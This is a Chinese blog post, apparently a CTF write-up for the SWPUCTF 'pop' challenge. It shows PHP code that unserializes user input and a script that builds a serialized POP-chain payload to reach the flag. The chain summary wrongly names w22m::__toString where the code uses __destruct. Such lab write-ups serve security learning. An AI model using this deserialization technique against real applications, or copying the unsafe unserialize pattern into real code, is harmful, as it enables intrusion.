首页 > 其他分享 >SWPUCTF _pop

SWPUCTF _pop

时间:2024-02-25 18:44:56浏览次数:19  
标签:__ w00m Getflag SWPUCTF w22m pop echo w44m

POP

题目代码:

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

使用倒退法,先找到获取到 flag 的地方,然后反推 pop 链 , 获取 flag 的方法在 w44m 类的 Getflag 方法中,那么就需要调用 w44m 类的 Getflag 方法。

在类 w33m 中存在 $this->w00m->{$this->w22m}(); 代码,那么我们可以使 变量 w00m 指向 w44m 类 , w22m 指向 Getflag 方法,这样就可以调用 w44m 类的 Getflag 方法了。然而这个语句在 __toString 魔术方法中,所以需要找在哪里可以调用 __toString 方法。

那么只有在 w22m 中存在一个 echo 的语句,那么就可以调用 __toString 方法了。

最后完整的链子就是 w22m::__toString() -> w33m::__toString() -> w44m::Getflag()

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

    
    
}

class w22m{
    public $w00m;
    
}

class w33m{
    public $w00m;
    public $w22m;
    
}

$a = new w22m();
$a -> w00m = new w33m();
$a -> w00m -> w00m = new w44m();
$a -> w00m -> w22m = "Getflag";
echo urlencode(serialize($a));
echo "<br>";

标签:__,w00m,Getflag,SWPUCTF,w22m,pop,echo,w44m
From: https://www.cnblogs.com/qianyuzz/p/18032727

相关文章

  • Android 《PopupWindow 仿微信下拉菜单》
    布局文件popup_menu.xml<?xmlversion="1.0"encoding="utf-8"?><LinearLayoutxmlns:android="http://schemas.android.com/apk/res/android"android:layout_width="match_parent"android:orientation="ve......
  • [SWPUCTF 2021 新生赛]ez_unserialize
    概括这是一道PHP反序列化的CTF赛题,本意是想用这道题对PHP反序列化进行一定的学习。过程我们打开赛题,看看内容 没有发现什么东西,看看他的页面代码  根据他的提示,感觉是存在一个robots.txt文件的,尝试访问一下。 进去看看。 果然如此我们来分析一下这段代码<......
  • [SWPUCTF 2021 新生赛]PseudoProtocols
    第三层的意思是:(file_get_contents($a,'r'))是一个函数调用,它尝试以读取模式打开$a参数指定的文件,并返回文件的内容。==='Iwantflag'是一个比较操作符,用于比较file_get_contents($a,'r')的结果与字符串"Iwantflag"是否完全相等。如果相等,则条件成立。因此,整......
  • [SWPUCTF 2021 新生赛]Do_you_know_http
    HTTP请求头中各字段解释Accept :浏览器(或者其他基于HTTP的客户端程序)可以接收的内容类型(Content-types),例如Accept:text/plain。Accept-Charset:浏览器能识别的字符集,例如Accept-Charset:utf-8Accept-Encoding:浏览器可以处理的编码方式,注意这里的编码方式有别于字符集,这......
  • 3.Popup 消息弹出框
     Popup是一个用于显示临时性内容的控件,它可以在应用程序的其他内容之上显示一个弹出窗口。它通常用于实现下拉菜单、工具提示、通知消息等功能。主要属性为:Child:获取或设置Popup控件的内容。IsOpen:获取或设置一个值,该值指示Popup是否可见Placement:获取或设置Popup控件打......
  • [SWPUCTF 2021 新生赛]easy_sql
    手工sql注入流程首先,检查字段数url?wllm=1'orderby3--+尝试到4的时候报错,故字段数为3爆库名url?wllm=1'unionselect1,extractvalue(1,concat('~',(selectdatabase()))),3--+爆表名url/?wllm=1'unionselect1,extractvalue(1,concat('~',(selectgro......
  • [SWPUCTF 2021 新生赛]easy_md5--php弱类型比较
    <?phphighlight_file(__FILE__);include'flag2.php';if(isset($_GET['name'])&&isset($_POST['password'])){$name=$_GET['name'];$password=$_POST['password'];if($name!=......
  • [SWPUCTF 2021 新生赛]jicao--json_decode()函数
    源码<?phphighlight_file('index.php');include("flag.php");$id=$_POST['id'];$json=json_decode($_GET['json'],true);if($id=="wllmNB"&&$json['x']=="wllm"){echo$flag;}?>......
  • 8086汇编push pop 易错点总结
    首先附代码assumecs:codecodesegmentdw0123h,0456hdw0,0,0start:movax,csmovss,ax;设置栈段movsp,0Ah;设置栈顶A是栈偏移movbx,0;偏移movcx,2;设置s:pushcs:[bx]addbx,2loopsmo......
  • PopAi:领先的多语言 AI 对话体验工具
    引言PopAi是一款多功能的AI工具,提供全天候支持,支持超过200种语言。它适用于个人和专业需求,可适应教育问题、技术支持和创意思维启发。PopAi具有全球范围和本地化特色,在语言技能和文化意识方面表现出色,满足各种多元化互动。此外,它引入了创新元素,如“ChatwithDocument”用于......